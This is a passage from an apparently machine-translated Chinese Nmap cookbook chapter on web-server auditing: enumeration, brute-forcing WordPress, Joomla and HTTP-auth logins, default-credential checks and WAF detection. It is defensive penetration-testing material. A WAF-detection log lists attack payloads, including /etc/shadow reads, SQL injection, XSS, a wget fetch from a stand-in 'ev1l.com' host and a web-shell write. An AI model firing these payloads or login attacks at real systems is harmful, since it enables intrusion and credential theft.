本章向您展示了如何做一些在许多情况下可能是非法的、不道德的、违反服务条款的或不是好主意的事情。这里提供的信息可用于保护您免受威胁,并使您自己的系统更安全。在遵循这些说明之前,请确保您站在法律和道德的正确一边。。。善用你的力量!
在本章中,我们将介绍:
- 列出支持的 HTTP 方法
- 检查 HTTP 代理是否打开
- 在各种 web 服务器上发现有趣的文件和目录
- 强制 HTTP 身份验证
- 滥用 mod_userdir 枚举用户帐户
- 在 web 应用程序中测试默认凭据
- 强制密码审计 WordPress 安装
- 蛮力密码审计 Joomla!装置
- 检测 web 应用程序防火墙
- 检测可能的 XST 漏洞
- 检测 web 应用程序中的跨站点脚本漏洞
- 在 web 应用程序中查找 SQL 注入漏洞
- 检测易受 slowloris 拒绝服务攻击的 web 服务器
**超文本传输协议(HTTP)**可以说是当今最流行的协议之一。Web 服务器已经从提供静态页面转向处理具有实际用户交互的复杂 Web 应用程序。这为受污染的用户输入打开了大门,这些输入可能会改变应用程序的逻辑以执行意外操作。现代 web 开发框架允许几乎任何具有编程知识的人在几分钟内生成 web 应用程序,但这也导致了 Internet 上易受攻击应用程序的增加。Nmap 脚本引擎可用的 HTTP 脚本数量迅速增长,Nmap 变成了一个宝贵的 web 扫描器,帮助渗透测试人员以自动化的方式执行大量繁琐的手动检查。它不仅可以用于查找易受攻击的 web 应用程序或检测错误的配置设置,而且由于新的爬行库,Nmap 甚至可以对 web 服务器进行爬网,以查找各种有趣的信息。
本章介绍如何使用 Nmap 审计 web 服务器,从自动配置检查到利用易受攻击的 web 应用程序。我将介绍一些我在去年开发的 NSE 脚本,这些脚本是我每天在 Websec 进行 web 渗透测试时使用的。本章介绍检测数据包过滤系统、暴力密码审计、文件和目录发现以及漏洞利用等任务。
Web 服务器根据其配置和软件支持不同的 HTTP 方法,其中一些方法在某些情况下可能很危险。戊酯需要一种快速列出可用方法的方法。NSE 脚本http-methods
不仅允许他们列出这些潜在的危险方法,还允许他们测试这些方法。
这个方法向您展示了如何使用 Nmap 枚举 web 服务器支持的所有 HTTP 方法。
打开终端并输入以下命令:
$ nmap -p80,443 --script http-methods scanme.nmap.org
显示在端口80
或443
上检测到的每个 web 服务器的结果:
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.11s latency).
PORT STATE SERVICE
80/tcp open http
|_http-methods: GET HEAD POST OPTIONS
443/tcp closed https
参数-p80,443 --script http-methods
使 Nmap 在发现 web 服务器端口 80 或 443(-p80,443
时启动http-methods
脚本。NSE 脚本hhttp-methods
由 Bernd Stroessenreuther 提交,它使用 HTTP 方法OPTIONS
尝试列出 web 服务器支持的所有方法。
OPTIONS
在 web 服务器中实现,以告知客户端其支持的方法。请记住,此方法不考虑配置或防火墙规则,并且使用OPTIONS
列出的方法并不一定意味着您可以访问它。
要单独检查OPTIONS
返回的方法的状态码响应,请使用脚本参数http-methods.retest
:
# nmap -p80,443 --script http-methods --script-args http-methods.retest scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.14s latency).
PORT STATE SERVICE
80/tcp open http
| http-methods: GET HEAD POST OPTIONS
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
|_OPTIONS / -> HTTP/1.1 200 OK
443/tcp closed https
默认情况下,脚本http-methods
使用根文件夹作为基本路径( /
。如果要设置不同的基本路径,请设置参数http-methods.url-path
:
# nmap -p80,443 --script http-methods --script-args http-methods.url-path=/mypath/ scanme.nmap.org
HTTP 方法TRACE
、CONNECT
、PUT
和DELETE
可能存在安全风险,如果 web 服务器或应用程序支持,则需要对其进行彻底测试。
TRACE
使应用程序容易受到**跨站点跟踪(XST)**攻击,并可能导致攻击者访问标记为httpOnly
的 cookie。CONNECT
方法可能允许将 web 服务器用作未经授权的 web 代理。方法PUT
和DELETE
具有更改文件夹内容的能力,如果权限设置不正确,这显然会被滥用。
您可以在了解与每种方法相关的常见风险 http://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29。
有一些包过滤产品可以阻止使用 Nmap 默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-methods --script-args http.useragent="Mozilla 42" <target>
一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试管道化 40 个请求,并根据Keep-Alive
头根据流量条件自动调整请求数量。
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则忽略此参数:
$nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
- 检测可能的 XST 漏洞配方
- 在各种 web 服务器上发现有趣的文件和目录配方
- 检测 web 应用程序防火墙配方
- 滥用 mod_userdir 枚举用户帐户配方
- 在 web 应用程序中测试默认凭据配方
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
HTTP 代理用于通过其地址发出请求,因此对目标隐藏真实 IP 地址。如果您是需要确保网络安全的系统管理员,或者是欺骗其真实来源的攻击者,则检测它们非常重要。
此配方向您展示了如何使用 Nmap 检测打开的 HTTP 代理。
打开终端并输入以下命令:
$ nmap --script http-open-proxy -p8080 <target>
结果包括成功测试的 HTTP 方法:
PORT STATE SERVICE
8080/tcp open http-proxy
| proxy-open-http: Potentially OPEN proxy.
|_ Methods successfully tested: GET HEAD CONNECT
如果发现 web 服务器在端口8080
上运行,我们使用参数--script http-open-proxy -p8080
启动 NSE 脚本http-open-proxy
,该端口是 HTTP 代理的公共端口。
NSE 脚本http-open-proxy
由 Arturo“Buanzo”Busleiman 提交,其设计目的是检测开放代理,正如其名称所示。默认情况下,它请求google.com、wikipedia.org和computerhistory.org,并查找已知的文本模式,以确定目标 web 服务器上是否运行开放的 HTTP 代理。
您可以使用脚本参数http-open-proxy.url
和http-open-proxy.pattern
请求不同的 URL,并指定连接成功时将返回的模式:
$ nmap --script http-open-proxy –script-args http-open-proxy.url=http://whatsmyip.org,http-open-proxy.pattern="Your IP address is" -p8080 <target>
有一些包过滤产品可以阻止使用 Nmap 默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-trace --script-args http.useragent="Mozilla 42" <target>
- 检测可能的 XST 漏洞配方
- 在各种服务器上发现有趣的文件和目录配方
- 检测 web 应用程序防火墙配方
- 强制 HTTP 身份验证配方
- 滥用 mod_userdir 枚举用户帐户配方
- 在 web 应用程序中测试默认凭据配方
- 暴力密码审计 WordPress 安装配方
- 蛮力密码审计 Joomla!安装配方
- 发现 web 应用程序中的 SQL 注入漏洞秘诀
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
渗透测试期间无法手动完成的常见任务之一是文件和目录发现。有几种工具可用于此任务,但 Nmap 的强大数据库覆盖了感兴趣的文件,如自述、数据库转储和遗忘的配置备份,因此非常出色;公共目录,如管理面板或未受保护的文件上载程序;甚至攻击有效负载以利用常见、易受攻击的 web 应用程序中的目录遍历。
本食谱将向您展示如何使用 Nmap 进行 web 扫描,以便发现感兴趣的文件、目录,甚至是易受攻击的 web 应用程序。
打开终端并输入以下命令:
$ nmap --script http-enum -p80 <target>
结果将包括所有感兴趣的文件、目录和应用程序:
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /blog/: Blog
| /test.php: Test page
| /robots.txt: Robots file
| /css/cake.generic.css: CakePHP application
|_ /img/cake.icon.png: CakePHP application
参数-p80 --script http-enum
告诉 Nmap,如果在端口 80 上发现 web 服务器,则启动脚本http-enum
。脚本http-enum
最初由 Ron Bowes 提交,其主要目的是目录发现,但社区一直在添加新的指纹,以包括其他有趣的文件,如版本文件、自述和遗忘的数据库备份。在过去两年中,我还添加了 150 多个条目来识别易受攻击的 web 应用程序,并且不断添加新条目。
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /crossdomain.xml: Adobe Flash crossdomain policy
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /administrator/: Possible admin folder
| /administrator/index.php: Possible admin folder
| /home.html: Possible admin folder
| /test/: Test page
| /logs/: Logs
|_ /robots.txt: Robots file
指纹存储在/nselib/data/
中的http-fingerprints.lua
文件中,它们实际上是 LUA 表。条目如下所示:
table.insert(fingerprints, {
category='cms',
probes={
{path='/changelog.txt'},
{path='/tinymce/changelog.txt'},
},
matches={
{match='Version (.-) ', output='Version \\1'},
{output='Interesting, a changelog.'}
}
})
您可以将自己的条目添加到此文件中,或使用参数http-enum.fingerprintfile
使用不同的指纹文件:
$ nmap --script http-enum --script-args http-enum.fingerprintfile=./myfingerprints.txt -p80 <target>
默认情况下,http-enum
使用根目录作为基本路径。要设置不同的基本路径,请使用脚本参数http-enum.basepath
:
$ nmap --script http-enum http-enum.basepath=/web/ -p80 <target>
要显示返回可能指示页面存在的状态代码的所有条目,请使用脚本参数http-enum.displayall
:
$ nmap --script http-enum http-enum.displayall -p80 <target>
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-enum --script-args http.useragent="Mozilla 42" <target>
一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive
头的流量条件自动调整该数量。
$ nmap -p80 --script http-enum --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
- 强制 HTTP 身份验证配方
- 滥用 mod_userdir 枚举用户帐户配方
- 在 web 应用程序中测试默认凭据配方
- 暴力密码审计 WordPress 安装配方
- 蛮力密码审计 Joomla!安装配方
如今,许多家庭路由器、IP 网络摄像头甚至网络应用程序仍然依赖于 HTTP 身份验证,渗透测试人员需要尝试弱密码的单词列表,以确保系统或用户帐户的安全。现在,由于 NSE 脚本http-brute
,我们可以对 HTTPAuth 保护的资源执行强大的字典攻击。
此配方显示了如何对使用 HTTP 身份验证的 web 服务器执行强制密码审计。
使用以下 Nmap 命令对受 HTTP 基本身份验证保护的资源执行强制密码审计:
$ nmap -p80 --script http-brute –script-args http-brute.path=/admin/ <target>
结果包含找到的所有有效帐户:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-brute:
| Accounts
| admin:secret => Valid credentials
| Statistics
|_ Perfomed 603 guesses in 7 seconds, average tps: 86
参数-p80 --script http-brute
告诉 Nmap 针对在端口 80 上运行的 web 服务器启动http-brute
脚本。此脚本最初由 Patrik Karlsson 提交,创建此脚本是为了对受 HTTP 基本身份验证保护的 URI 发起字典攻击。
脚本http-brute
默认使用位于/nselib/data/
的文件usernames.lst
和passwords.lst
为每个用户尝试每个密码,希望找到一个有效的帐户。
脚本http-brute
依赖于 NSE 库unpwdb
和brute
。这些库具有多个脚本参数,可用于调整蛮力密码的审计。
要使用不同的用户名和密码列表,请设置参数userdb
和passdb
:
$ nmap -p80 --script http-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
要在找到一个有效帐户后退出,请使用参数brute.firstOnly
:
$ nmap -p80 --script http-brute --script-args brute.firstOnly <target>
默认情况下,http-brute
使用 Nmap 的计时模板设置以下超时限制:
- -T3、T2、T1:10 分钟
- -T4:5 分钟
- -T5:3 分钟
要设置不同的超时限制,请使用参数unpwd.timelimit
。要不间断地运行,请将其设置为0
:
$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=60m <target>
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>
一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive
头的流量条件自动调整该数量。
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
暴力库支持改变攻击中使用的组合的不同模式。可用的模式有:
-
user
:在该模式下,对于userdb
中列出的每个用户,passdb
中的每个密码都会被尝试。$ nmap --script http-brute --script-args brute.mode=user <target>
-
pass
:在该模式下,对于passdb
中列出的每个密码,usedb
中的每个用户都将被尝试。$ nmap --script http-brute --script-args brute.mode=pass <target>
-
creds
:此模式需要额外的参数brute.credfile
。$ nmap --script http-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
- 检测可能的 XST 漏洞配方
- 在各种 web 服务器上发现有趣的文件和目录配方
- 检测 web 应用程序防火墙配方
- 滥用 mod_userdir 枚举用户帐户配方
- 在 web 应用程序中测试默认凭据配方
- 暴力密码审计 WordPress 安装配方
- 蛮力密码审计 Joomla!安装配方
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
Apache 的模块UserDir
通过使用语法为/~username/
的 URI 来访问用户目录。使用 Nmap,我们可以执行字典攻击,并确定 web 服务器上的有效用户名列表。
这个方法向您展示了如何使 Nmap 在启用了mod_userdir
的情况下执行暴力攻击来枚举 Apache web 服务器中的用户帐户。
尝试使用mod_userdir
枚举 web 服务器中的有效用户;将 Nmap 与以下参数一起使用:
$ nmap -p80 --script http-userdir-enum <target>
找到的所有用户名都将包含在结果中:
PORT STATE SERVICE
80/tcp open http
|_http-userdir-enum: Potential Users: root, web, test
如果在端口 80(-p80
上发现 web 服务器,参数-p80 --script http-userdir-enum
将启动 NSE 脚本http-userdir-enum
。带有mod_userdir
的 Apache web 服务器允许使用 URI(如访问用户目录)http://domain.com/~root/,此脚本帮助我们执行字典攻击以枚举有效用户。
首先,脚本查询不存在的目录,以记录无效页面的状态响应。然后,它会尝试字典文件中的每个单词,测试 URI 并查找 HTTP 状态代码 200 或 403,以指示有效的用户名。
脚本http-userdir-enum
默认使用位于/nselib/data/
的单词列表usernames.lst
,但您可以通过设置参数userdir.users
使用不同的文件,如下命令所示:
$ nmap -p80 --script http-userdir-enum --script-args userdir.users=./users.txt <target>
PORT STATE SERVICE
80/tcp open http
|_http-userdir-enum: Potential Users: john, carlos
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>
一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive
头的流量条件自动调整该数量。
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
- 在各种 web 服务器上发现有趣的文件和目录配方
- 检测 web 应用程序防火墙配方
- 强制 HTTP 身份验证配方
- 在 web 应用程序中测试默认凭据配方
- 暴力密码审计 WordPress 安装配方
- 蛮力密码审计 Joomla!安装配方
默认凭据在 web 应用程序和设备中经常被遗忘。Nmap 的 NSE 脚本http-default-accounts
自动测试流行 web 应用程序中的默认凭据,例如 Apache Tomcat Manager、Cacti,甚至家庭路由器的 web 管理界面。
此配方向您展示了如何使用 Nmap 自动测试多个 web 应用程序中的默认凭据访问。
要在受支持的应用程序中自动测试默认凭据访问,请使用以下 Nmap 命令:
$ nmap -p80 --script http-default-accounts <target>
如果成功,结果将指示应用程序和默认凭据:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
|_http-default-accounts: [Cacti] credentials found -> admin:admin Path:/cacti/
如果在端口 80(-p80
上发现 web 服务器,我们将启动 NSE 脚本http-default-accounts
(--script http-default-accounts
)。
我开发了这个 NSE 脚本,通过自动检查系统管理员是否忘记更改系统中的任何默认密码来节省 web 渗透测试期间的时间。我已经包含了一些流行服务的指纹,但是通过支持更多的服务,这个脚本可以得到很大的改进。我鼓励您向其数据库提交新指纹,如果您可以访问通常保留默认凭据访问权限的服务。到目前为止,受支持的服务包括:
- 仙人掌
- 阿帕奇雄猫
- ApacheAxis2
- ARRIS2307 路由器
- 思科 2811 路由器
该脚本通过查看已知路径并使用存储的默认凭据启动登录例程来检测 web 应用程序。这取决于位于/nselib/data/http-default-accounts.nse
的指纹文件。条目是 LUA 表,它们如下所示:
table.insert(fingerprints, {
name = "Apache Tomcat",
category = "web",
paths = {
{path = "/manager/html/"},
{path = "/tomcat/manager/html/"}
},
login_combos = {
{username = "tomcat", password = "tomcat"},
{username = "admin", password = "admin"}
},
login_check = function (host, port, path, user, pass)
return try_http_basic_login(host, port, path, user, pass)
end
})
每个指纹条目必须具有以下字段:
name
:此字段指定一个描述性服务名称。category
:此字段指定侵入性较小的扫描所需的类别。login_combos
:此字段指定服务使用的默认凭证的 LUA 表。paths
:此字段指定一个 LUA 路径表,其中通常可以找到服务。login_check
:此字段指定 web 服务的登录例程。
对于侵入性较小的扫描,请使用脚本参数http-default-accounts.category
按类别过滤探测:
$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.category=routers <target>
可供选择的类别包括:
web
:该类别管理 web 应用程序router
:该类别管理路由器的接口voip
:该类别管理 VOIP 设备security
:该类别管理安全相关软件
此脚本默认使用根文件夹作为基本路径,但您可以使用参数http-default-accounts.basepath
设置不同的路径:
$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.basepath=/web/ <target>
默认指纹文件位于/nselib/data/http-default-accounts-fingerprints.lua
,但您可以通过指定参数http-default-accounts.fingerprintfile
来使用不同的文件:
$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.fingerprintfile=./more-signatures.txt <target>
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>
- 检测可能的 XST 漏洞配方
- 在各种 web 服务器中发现有趣的文件和目录配方
- 检测 web 应用程序防火墙配方
- 强制 HTTP 身份验证配方
- 滥用 mod_userdir 枚举用户帐户配方
- 暴力密码审计 WordPress 安装配方
- 蛮力密码审计 Joomla!安装配方
- 发现 web 应用程序中的 SQL 注入漏洞秘诀
WordPress 是一个广为人知的CMS(内容管理系统),广泛应用于许多行业。Nmap 现在包括自己的 NSE 脚本,以帮助 pentesters 发起字典攻击,并使用可能危及应用程序完整性的弱密码查找帐户。
此配方显示了如何对 WordPress 安装执行暴力密码审计。
要在 WordPress 安装中查找密码较弱的帐户,请使用以下 Nmap 命令:
$ nmap -p80 --script http-wordpress-brute <target>
找到的所有有效帐户将显示在结果中:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-wordpress-brute:
| Accounts
| papa:a1b2c3d4 => Login correct
| Statistics
|_ Perfomed 360 guesses in 17 seconds, average tps: 6
如果在端口 80(-p80
上发现 web 服务器,参数-p80 –script http-wordpress-brute
将启动 NSE 脚本http-wordpress-brute
。我开发了这个脚本,以避免在对 WordPress 安装使用http-brute
时,必须为用户名和密码设置 WordPress URI 和 HTML 变量名。
此脚本使用以下默认变量:
uri
:/wp-login.php
uservar
:log
passvar
:pwd
要设置线程数,请使用脚本参数http-wordpress-brute.threads
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.threads=5 <target>
如果服务器有虚拟主机,请使用参数http-wordpress-brute.hostname
设置主机字段:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.hostname="ahostname.wordpress.com" <target>
要设置不同的登录 URI,请使用参数http-wordpress-brute.uri
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uri="/hidden-wp-login.php" <target>
要更改存储用户名和密码的POST
变量的名称,请设置参数http-wordpress-brute.uservar
和http-wordpress-brute.passvar
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uservar=usuario,http-wordpress-brute.passvar=pasguord <target>
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-wordpress-brute --script-args http.useragent="Mozilla 42" <target>
暴力库支持改变攻击中使用的组合的不同模式。可用的模式有:
-
user
:在该模式下,对于userdb
中列出的每个用户,passdb
中的每个密码都将在$ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
中进行尝试
-
pass
:在该模式下,对于passdb
中列出的每个密码,usedb
中的每个用户都会被$ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
尝试
-
creds
:此模式需要附加参数brute.credfile
$ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
- 检测可能的 XST 漏洞配方
- 在各种 web 服务器上发现有趣的文件和目录配方
- 检测 web 应用程序防火墙配方
- 强制 HTTP 身份验证配方
- 滥用 mod_userdir 枚举用户帐户配方
- 在 web 应用程序中测试默认凭据配方
- 蛮力密码审计 Joomla!安装配方
- 发现 web 应用程序中的 SQL 注入漏洞秘诀
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
乔姆拉!是一种非常流行的 CMS,用于许多不同的目的,包括电子商务。检测密码较弱的用户帐户是渗透测试人员的一项常见任务,Nmap 通过使用 NSE 脚本http-joomla-brute
来帮助完成这项任务。
这个食谱展示了如何对 Joomla 执行暴力密码审计!安装。
打开终端并输入以下命令:
$ nmap -p80 --script http-joomla-brute <target>
将返回找到的所有有效帐户:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-joomla-brute:
| Accounts
| king:kong => Login correct
| Statistics
|_ Perfomed 799 guesses in 501 seconds, average tps: 0
如果在端口 80(-p80
上发现 web 服务器,参数-p80 –script http-joomla-brute
将启动 NSE 脚本http-joomla-brute
。我开发这个脚本是为了对 Joomla 执行暴力密码审计!安装。
脚本http-joomla-brute
使用以下默认变量:
uri
:/administrator/index.php
uservar
:username
passvar
:passwd
使用以下命令设置参数http-joomla-brute.threads
的螺纹编号:
$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.threads=5 <target>
要在 HTTP 请求中设置Host
字段,请使用脚本参数http-joomla-brute.hostname
,方法是使用以下命令:
$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.hostname="hostname.com" <target>
通过使用以下命令指定参数http-joomla-brute.uri
来设置不同的登录 URI:
$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.uri="/joomla/admin/login.php" <target>
要更改存储用户名和密码的POST
变量的名称,请使用以下命令设置参数http-joomla-brute.uservar
和http-joomla-brute.passvar
:
$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.uservar=usuario,http-joomla-brute.passvar=pasguord <target>
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-wordpress-brute --script-args http.useragent="Mozilla 42" <target>
暴力库支持改变攻击中使用的组合的不同模式。可用的模式有:
-
user
:在该模式下,对于userdb
中列出的每个用户,passdb
中的每个密码都将在$ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
中进行尝试
-
pass
:在该模式下,对于passdb
中列出的每个密码,usedb
中的每个用户都会被$ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
尝试
-
creds
:此模式需要附加参数brute.credfile
$ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
- 检测可能的 XST 漏洞配方
- 在各种 web 服务器上发现有趣的文件和目录配方
- 强制 HTTP 身份验证配方
- 滥用 mod_userdir 枚举用户帐户配方
- 在 web 应用程序中测试默认凭据配方
- 暴力密码审计 WordPress 安装配方
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
Web 服务器通常由丢弃或重定向可疑恶意数据包的数据包过滤系统进行保护。Web 渗透测试人员从他们与目标应用程序之间的流量过滤系统中获益。如果是这样,他们可以尝试更罕见或隐蔽的技术,试图绕过Web 应用程序防火墙(WAF)或入侵预防系统(IPS)。它还帮助他们确定在当前环境中是否可以利用漏洞。
此配方演示如何使用 Nmap 检测数据包过滤系统,如 Web 应用程序防火墙或入侵防御系统。
要检测 Web 应用程序防火墙或入侵防御系统,请执行以下操作:
$ nmap -p80 --script http-waf-detect <target>
脚本http-waf-detect
将告诉您是否检测到数据包过滤系统:
PORT STATE SERVICE
80/tcp open http
|_http-waf-detect: IDS/IPS/WAF detected
如果发现 web 服务器在端口 80 上运行,参数-p80 --script http-waf-detect
将启动 NSE 脚本http-waf-detect
。我开发了http-waf-detect
来确定带有恶意有效负载的 HTTP 请求是否被 web 应用程序防火墙(WAFs)或入侵防御系统(IPSs)过滤。
该脚本通过保存安全 HTTPGET
请求的状态代码(可选)和页面正文,并将其与包含最常见 web 应用程序漏洞的攻击有效载荷的请求进行比较。由于每个恶意有效负载都存储在一个奇数变量名中,因此 web 应用程序不太可能使用它,并且只有数据包过滤系统会做出反应并改变任何返回的状态代码,以接收 HTTP 状态代码 403(禁止)或页面内容。
要检测响应正文中的更改,请使用参数http-waf-detect.detectBodyChanges
。我建议您在处理动态内容很少的页面时启用它:
$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges" <target>
要包含更多攻击有效载荷,请使用脚本参数http-waf-detect.aggro
。此模式会生成更多 HTTP 请求,但也会触发更多产品:
$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro" <target>
Initiating NSE at 23:03
NSE: http-waf-detect: Requesting URI /abc.php
NSE: Final http cache size (1160 bytes) of max size of 1000000
NSE: Probing with payload:?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd
NSE: Probing with payload:?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables
NSE: Probing with payload:?p4yl04d3=<script>alert(document.cookie)</script>
NSE: Probing with payload:?p4yl04d=cat%20/etc/shadow
NSE: Probing with payload:?p4yl04d=id;uname%20-a
NSE: Probing with payload:?p4yl04d=<?php%20phpinfo();%20?>
NSE: Probing with payload:?p4yl04d='%20OR%20'A'='A
NSE: Probing with payload:?p4yl04d=http://google.com
NSE: Probing with payload:?p4yl04d=http://evilsite.com/evilfile.php
NSE: Probing with payload:?p4yl04d=cat%20/etc/passwd
NSE: Probing with payload:?p4yl04d=ping%20google.com
NSE: Probing with payload:?p4yl04d=hostname%00
NSE: Probing with payload:?p4yl04d=<img%20src='x'%20onerror=alert(document.cookie)%20/>
NSE: Probing with payload:?p4yl04d=wget%20http://ev1l.com/xpl01t.txt
NSE: Probing with payload:?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--
要为探测设置不同的 URI,请设置参数http-waf-detect.uri
:
$ nmap -p80 --script http-waf-detect --script-args http-waf-detect.uri=/webapp/ <target>
有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent
,可以使用不同的用户代理值:
$ nmap -p80 --script http-waf-detect --script-args http.useragent="Mozilla 42" <target>
一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive
头的流量条件自动调整该数量。
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
- 检测可能的 XST 漏洞配方
- 在各种 web 服务器上发现有趣的文件和目录配方
- 强制 HTTP 身份验证配方
- 滥用 mod_userdir 枚举用户帐户配方
- 在 web 应用程序中测试默认凭据配方
- 暴力密码审计 WordPress 安装配方
- 蛮力密码审计 Joomla!安装配方
- 发现 web 应用程序中的 SQL 注入漏洞秘诀
- 检测易受 slowloris 拒绝服务攻击的 web 服务器配方
跨站点跟踪(XST)漏洞是由于启用 HTTP 方法TRACE
的 web 服务器中存在**跨站点脚本漏洞(XSS)**造成的。此技术主要用于绕过指令httpOnly
施加的 cookie 限制。通过使用 Nmap 快速确定 web 服务器是否启用了方法TRACE
,Pentesters 可以节省时间。
此配方描述了如何使用 Nmap 检查TRACE
是否已启用,因此容易受到可能的跨站点跟踪(XST)漏洞的攻击。
打开终端并输入以下命令:
$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest <target>
如果TRACE
已启用且可访问,我们将看到类似的内容:
PORT STATE SERVICE
80/tcp open http
|_http-trace: TRACE is enabled
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
| See http://nmap.org/nsedoc/scripts/http-methods.html
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
| OPTIONS / -> HTTP/1.1 200 OK
|
|_TRACE / -> HTTP/1.1 200 OK
否则,http-trace
不会返回任何内容,TRACE
不会列在http-methods
下:
PORT STATE SERVICE
80/tcp open http
| http-methods: GET HEAD POST OPTIONS
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
